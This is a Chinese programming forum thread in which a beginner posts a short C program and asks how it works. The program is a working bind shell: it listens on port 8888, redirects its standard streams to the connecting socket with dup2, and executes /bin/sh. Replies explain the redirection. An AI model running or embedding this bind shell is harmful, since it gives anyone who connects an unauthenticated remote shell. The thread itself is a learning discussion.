dydsaf 发表于 2021-3-18 19:27

c语言编程问题

本帖最后由 dydsaf 于 2021-3-18 19:52 编辑

先看代码
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int sock, cli;
struct sockaddr_in serv_addr;

int main()
{
serv_addr.sin_family= 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = htons(8888);

sock = socket(2, 1, 0);
bind(sock, (struct sockaddr *)&serv_addr, 0x10);
listen(sock, 1);
cli = accept(sock, 0, 0);
dup2(cli, 0);
dup2(cli, 1);
dup2(cli, 2);
execve("/bin/sh", 0, 0); // execve ("/bin/sh", argv_rc, envp_rc);
}


这里本地监听了8888端口 但后面dup2 和execve这两个函数这里没看懂
查了一下 dup2 好像是复制文件描述符的 但是没看懂他这样做的意义{:301_972:}
然后execve。。。也没看懂{:301_972:} 为什么用其他主机nc连接本地的8888端口可以执行命令


c语言小白 各位大佬救救我{:301_972:}

ciker_li 发表于 2021-3-18 20:33

dup2是把输出,输入,错误都重定向到链接的sock,都发给客户端了

dydsaf 发表于 2021-3-18 20:11

好像搞清白一点了 主要想不清这个代码就写了一个accept等待客户端连接的 然后客户端连接后就能直接执行命令 就完全懵逼了 现在好像发现核心应该就是在dup这个函数上了 各位 我再去研究研究 等我好消息{:301_988:}

wws741 发表于 2021-3-18 19:38

大佬牛逼

CNHK-US 发表于 2021-3-18 19:50

sam喵喵 发表于 2021-3-18 19:57

好问题,学习下

qdfxy 发表于 2021-3-18 20:19

c语言怎么学啊?学到数据结构有点迷茫?

ciker_li 发表于 2021-3-18 22:12

是在学kali吗?
资料能共享下不?
网上都是过时的,不好学啊

bingyuhuo 发表于 2021-3-19 11:55

感觉C语言是能最好解决底层硬件的语言

dydsaf 发表于 2021-3-19 12:52

ciker_li 发表于 2021-3-18 20:33
dup2是把输出,输入,错误都重定向到链接的sock,都发给客户端了

懂了懂了 感谢大佬{:301_988:}
今天不能评分了 明天
页: [1] 2
查看完整版本: c语言编程问题